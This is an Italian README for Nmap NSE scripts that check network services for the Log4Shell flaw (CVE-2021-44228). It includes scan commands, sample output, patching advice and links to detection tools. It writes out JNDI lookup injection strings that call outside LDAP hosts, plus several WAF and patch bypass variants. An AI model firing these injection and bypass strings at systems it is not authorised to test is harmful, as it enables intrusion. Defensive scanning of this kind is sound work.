
Script Nmap NSE per verificare le vulnerabilità log4shell o LogJam (CVE-2021-44228)
Script NSE di Nmap per verificare le vulnerabilità log4shell o LogJam (CVE-2021-44228). Gli script NSE controllano i servizi esposti più popolari su Internet. È uno script di base dove puoi personalizzare il payload.
Nota che gli script NSE invieranno solo le richieste ai servizi. Nmap non segnalerà gli host vulnerabili, ma dovrai controllare i log DNS per determinare la vulnerabilità. Se non specifichi manualmente il payload, gli script NSE useranno dnslog.cn di default. Ciò significa che le richieste saranno visibili a dnslog.cn.
Posizionati nella directory in cui si trovano questi script ed esegui i seguenti comandi (Nmap recupererà dnslog.cn automaticamente).
Su Linux:
cd nse-log4shell
nmap -sV -T4 -v --script=$PWD/ scanme.nmap.org
Su Windows:
cd nse-log4shell
nmap -sV -T4 -v --script=%cd%/ scanme.nmap.org
nuovo bypass della patch su v2.15.0 (CVE-2021-45046), grazie a @marcioalm (tweet):
${jndi:ldap://127.0.0.1#{{target}}.xxx.dnslog.cn:1389/a}
AWS bypass (grazie a @11xuxx - tweet):
${jnd${123%25ff:-${123%25ff:-i:}}ldap://mydogsbutt.com:1389/o}
Akamai bypass (grazie a @ozgur_bbh - tweet):
${jndi${123%25ff:-}:ldap://HOST:PORT/a}
Esempio Windows (Grazie a @ZedFuzz) - nota come fare l'escaping delle virgolette:
nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n --script-timeout=1m scanme.nmap.org
Vai su http://github.com/kost/logdns e ottieni il server DNS. Ottieni un dominio e puntalo da qualche parte dove hai installato logdns:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.logdns.xxx}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Vai su http://dnslog.cn/ e ottieni un SubDomain. Sostituisci la tua xxxx con il tuo SubDomain:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.dnslog.cn}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Prendi il tuo dominio da Burp Collaborator e sostituisci xxxx con il tuo dominio:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://{{target}}.xxxx.burpcollaborator.net/diverto}"' -T4 -n -p0-65535 -sV --script-timeout=1m MY.IPs.TO.SCAN
Prendi il tuo Token da CanaryToken e sostituisci xxxx con il tuo dominio:
nmap --script=http-log4shell,ssh-log4shell,imap-log4shell '--script-args=log4shell.payload="${jndi:ldap://x${hostName}.L4J.xxxx.canarytokens.com/a}"' -T4 -n -pssh,imap*,http* --script-timeout=1m MY.IPs.TO.SCAN
Grazie a @saintz666
dnslog.cn ha sessioni brevi (circa mezz'ora). Dovrebbe esserci un modo per prolungare la sessione per tutta la durata della scansione. Inoltre, a volte la query DNS avviene molto più tardi rispetto alla ricezione della richiesta. Qualcuno ha riportato di aver ricevuto la richiesta DNS ore dopo che la richiesta è stata effettuata. Come soluzione alternativa, gli script NSE di nmap recuperano la sessione dopo ogni host scansionato.
Pertanto, attualmente, per la migliore garanzia è utilizzare un dominio DNS personalizzato con uno strumento come logdns: https://github.com/kost/logdns
nmap -T4 -v --script=$PWD/ scanme.nmap.org
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-15 12:37 CET
NSE: Loaded 5 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.53s elapsed
Pre-scan script results:
| dnslog-cn:
| Domain: 2t722h.dnslog.cn
|_ Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
Initiating Ping Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [2 ports]
Completed Ping Scan at 12:37, 0.18s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:37
Completed Parallel DNS resolution of 1 host. at 12:37, 1.18s elapsed
Initiating Connect Scan at 12:37
Scanning scanme.nmap.org (45.33.32.156) [1000 ports]
Discovered open port 80/tcp on 45.33.32.156
Discovered open port 53/tcp on 45.33.32.156
Discovered open port 22/tcp on 45.33.32.156
Stats: 0:00:23 elapsed; 0 hosts completed (1 up), 1 undergoing Connect Scan
Connect Scan Timing: About 56.00% done; ETC: 12:37 (0:00:16 remaining)
Discovered open port 9929/tcp on 45.33.32.156
Discovered open port 31337/tcp on 45.33.32.156
Completed Connect Scan at 12:37, 37.06s elapsed (1000 total ports)
NSE: Script scanning 45.33.32.156.
Initiating NSE at 12:37
Completed NSE at 12:37, 6.19s elapsed
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.18s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
53/tcp open domain
80/tcp open http
9929/tcp open nping-echo
31337/tcp open Elite
Host script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
NSE: Script Post-scanning.
Initiating NSE at 12:37
Completed NSE at 12:37, 0.50s elapsed
Post-scan script results:
| dnslog-cn:
| List of hosts responded: []
| Manually retrieve: curl --cookie "PHPSESSID=ss356ko502lsbftbl49d3g0777" http://dnslog.cn/getrecords.php
|_ If list is not empty, check hosts as they are potentially vulnerable
Read data files from: /usr/local/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.11 seconds
Elenco delle migliori correzioni e soluzioni alternative.
Migliore soluzione per proteggersi da CVE-2021-44228: aggiornare a log4j-2.16.0 o successivo.
Nota che log4j-2.15.0-rc1 non è più consigliato poiché sono state trovate nuove vulnerabilità. Pertanto, dovresti aggiornare a log4j-2.16.0 o successivo (grazie @ruppde).
Inoltre, nota che altre raccomandazioni come log4j2.formatMsgNoLookups impostato su true dovrebbero essere evitate.
È meglio identificare la vulnerabilità log4shell cercando artefatti log4j nel file system locale.
Questi script NSE dovrebbero essere usati solo per una garanzia aggiuntiva. Gli NSE aiutano a identificare i servizi vulnerabili, non l'applicazione vulnerabile. Possono identificare un'applicazione vulnerabile se registra ogni richiesta (inclusa la root /), non se la vulnerabilità è nascosta dietro un login. Per questo avrai bisogno di uno scanner web che esplori l'intero web.
Puoi controllare un URI specifico con il seguente esempio:
http-log4shell.url=/my/application/uri
Controllerà tramite header HTTP e cookie. Se devi controllare i moduli post/get, dovresti usare http-spider-log4shell. Tuttavia, è meglio usare uno scanner web con supporto per log4j.
Inoltre, nota che la risoluzione DNS con combinazione di prefissi in un'espressione per log4j-core <= 2.7 sembra non essere supportata. Quindi, testare con qualcosa come ${java:os} potrebbe portare a falsi negativi.
Pertanto, è meglio avere pochi falsi positivi che negativi.
Riferimenti generali e link alla vulnerabilità
Thread Reddit - Informazioni generali su log4shell
NCC log4shell - informazioni operative riguardanti la vulnerabilità (IOC, mitigazione, scansione, software)
BlueTeam CheatSheet Log4Shell - Advisory / Bollettini di sicurezza collegati a Log4Shell (CVE-2021-44228)
Elenco Software - guida di riferimento cheat-sheet - Elenco dei software interessati in base alle risposte dei vendor
Nota che i controlli remoti e online sono utili come garanzia aggiuntiva o test rapido. Per una garanzia aggiuntiva, si consiglia di scansionare localmente i file alla ricerca di firme log4j note.
lo4shell.huntress.com - Tester online della vulnerabilità Log4Shell
log4j yara - regole yara per il rilevamento locale
identify-log4j-class-location.sh - Script per identificare la classe Log4J interessata per CVE-2021-44228 in una raccolta di file ear/war/jar
PoC-log4j-bypass-words - Un trucco per aggirare le patch che bloccano le parole
log4shell-detector - Rivelatore di tentativi di sfruttamento di Log4Shell
Log4Shell-IOCs - un elenco di feed IOC e report sulle minacce
log4j_rce_detection.md - Puoi usare questi comandi e regole per cercare tentativi di sfruttamento
Advisory log4j - Vulnerabilità di sicurezza di Apache Log4j
Pull request e commenti log4j - pull request che corregge il bug relativo ai commenti
Logout4Shell - Alternativa rapida e sporca al patching manuale